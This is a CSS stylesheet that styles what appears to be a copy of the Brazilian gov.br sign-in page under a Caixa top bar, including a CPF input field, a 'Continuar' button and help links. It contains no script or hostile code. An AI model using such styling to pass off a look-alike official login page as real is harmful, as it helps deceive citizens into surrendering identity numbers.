*, *::before, *::after {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: 'Raleway', 'Rawline', sans-serif;
  background-color: #f3f3f3;
  color: #333;
  min-height: 100vh;
  font-size: 14px;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

/* ====== Top Bar (Caixa) ====== */
.topbar {
  background-color: #0c326f;
  padding: 12px 20px;
}

.topbar-logo {
  height: 20px;
  width: auto;
  display: block;
}

/* ====== Gov.br Header ====== */
.gov-header {
  background-color: #fff;
  border-bottom: 1px solid #ddd;
}

.gov-header-inner {
  max-width: 532px;
  margin: 0 auto;
  padding: 6px 16px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  min-height: 56px;
}

.gov-logo {
  height: 42px;
  width: auto;
}

.gov-header-icons {
  display: flex;
  align-items: center;
  gap: 2px;
}

.gov-icon-btn {
  background: none;
  border: none;
  cursor: pointer;
  padding: 8px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: background 0.15s;
  font-size: 15px;
  color: #1351B4;
}

.gov-icon-btn:hover {
  background: rgba(0,0,0,0.06);
}

/* ====== Main ====== */
#main-signin {
  max-width: 532px;
  margin: 0 auto;
  padding: 40px 16px 60px;
}

/* ====== Card ====== */
.card {
  background: #fff;
  border-radius: 4px;
  box-shadow: 0 3px 6px rgba(0,0,0,0.1), 0 1px 3px rgba(0,0,0,0.06);
  padding: 40px 32px 28px;
}

@media (max-width: 480px) {
  .card {
    padding: 32px 20px 24px;
  }
}

.card h3 {
  font-size: 17.5px;
  font-weight: 600;
  color: #333;
  margin-bottom: 0;
  line-height: 1.3;
}

/* ====== Item Login Row ====== */
.item-login-signup-ways {
  border-bottom: none;
}

.item-login-signup-ways a,
.item-login-signup-ways .button-href-mimic2 {
  display: flex;
  align-items: center;
  gap: 14px;
  padding: 18px 0;
  color: #1351B4;
  text-decoration: none;
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  background: none;
  border: none;
  width: 100%;
  text-align: left;
  font-family: inherit;
  line-height: 1.4;
}

.item-login-signup-ways a:hover,
.item-login-signup-ways .button-href-mimic2:hover {
  text-decoration: underline;
}

.item-login-signup-ways img {
  width: 22px;
  height: 22px;
  object-fit: contain;
  flex-shrink: 0;
}

/* ====== Badge ====== */
.badge-prata {
  font-size: 7px;
  font-weight: 700;
  letter-spacing: 0.3px;
  background-color: #008C32;
  color: #fff;
  padding: 3px 4px;
  position: relative;
  top: -2px;
  margin-left: 6px;
  line-height: 1;
  white-space: nowrap;
}

/* ====== Accordion Panel (CPF) ====== */
.accordion-panel {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.3s ease;
}

.accordion-panel.open {
  max-height: 500px;
}

.accordion-panel p {
  font-size: 14px;
  color: #555;
  line-height: 1.55;
  margin-bottom: 18px;
  padding-top: 6px;
}

.accordion-panel label {
  display: block;
  font-size: 14px;
  font-weight: 700;
  color: #333;
  margin-bottom: 6px;
}

.accordion-panel input[type="tel"] {
  width: 100%;
  padding: 10px 12px;
  font-size: 14.5px;
  font-family: inherit;
  border: 1px solid #888;
  border-radius: 6px;
  outline: none;
  color: #333;
  background: #fff;
  transition: border-color 0.2s, box-shadow 0.2s;
  -webkit-appearance: none;
}

.accordion-panel input[type="tel"]::placeholder {
  color: #aaa;
  font-style: normal;
}

.accordion-panel input[type="tel"]:focus {
  border-color: #1351B4;
  box-shadow: 0 0 0 3px rgba(19, 81, 180, 0.18);
  background-color: #FBF7B9;
}

.accordion-panel input[type="tel"].error {
  border-color: #E52207;
  box-shadow: 0 0 0 3px rgba(229, 34, 7, 0.15);
}

/* ====== Error Message ====== */
.error-message {
  display: none;
  color: #E52207;
  font-size: 13px;
  font-weight: 600;
  margin-top: 10px;
  line-height: 1.4;
}

/* ====== Button Continuar ====== */
.button-panel {
  margin-top: 24px;
  padding-bottom: 10px;
}

.button-continuar {
  width: 100%;
  padding: 13px 16px;
  font-size: 15px;
  font-weight: 700;
  font-family: inherit;
  color: #fff;
  background-color: #1351B4;
  border: none;
  border-radius: 100em;
  cursor: pointer;
  transition: background-color 0.15s;
  letter-spacing: 0.2px;
}

.button-continuar:hover {
  background-color: #0C326F;
}

.button-continuar:active {
  background-color: #071D41;
}

.button-continuar.loading {
  opacity: 0.85;
  cursor: not-allowed;
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
}

/* ====== Spinner ====== */
.spinner {
  display: inline-block;
  width: 16px;
  height: 16px;
  border: 2.5px solid rgba(255,255,255,0.35);
  border-top-color: #fff;
  border-radius: 50%;
  animation: spin 0.6s linear infinite;
}

@keyframes spin {
  to { transform: rotate(360deg); }
}

/* ====== Outras opções ====== */
#title-outras-op {
  display: block;
  font-size: 14px;
  font-weight: 600;
  color: #333;
  margin-top: 24px;
  margin-bottom: 4px;
}

#hr-outras-op {
  border: none;
  border-top: 1px solid #ccc;
  margin: 0;
}

/* ====== Help Links ====== */
.entenda-id-govbr {
  margin-top: 24px;
  padding-top: 16px;
  border-top: none;
  display: flex;
  flex-direction: column;
  gap: 14px;
}

.entenda-id-govbr a {
  font-size: 14px;
  color: #1351B4;
  text-decoration: none;
  font-weight: 600;
  display: inline-flex;
  align-items: center;
}

.entenda-id-govbr a:hover {
  text-decoration: underline;
}

.entenda-id-govbr a img {
  width: 16px;
  height: 16px;
  margin-right: 13px;
  flex-shrink: 0;
  vertical-align: middle;
}

.entenda-id-govbr .termo-link {
  display: block;
  padding-left: 29px;
}
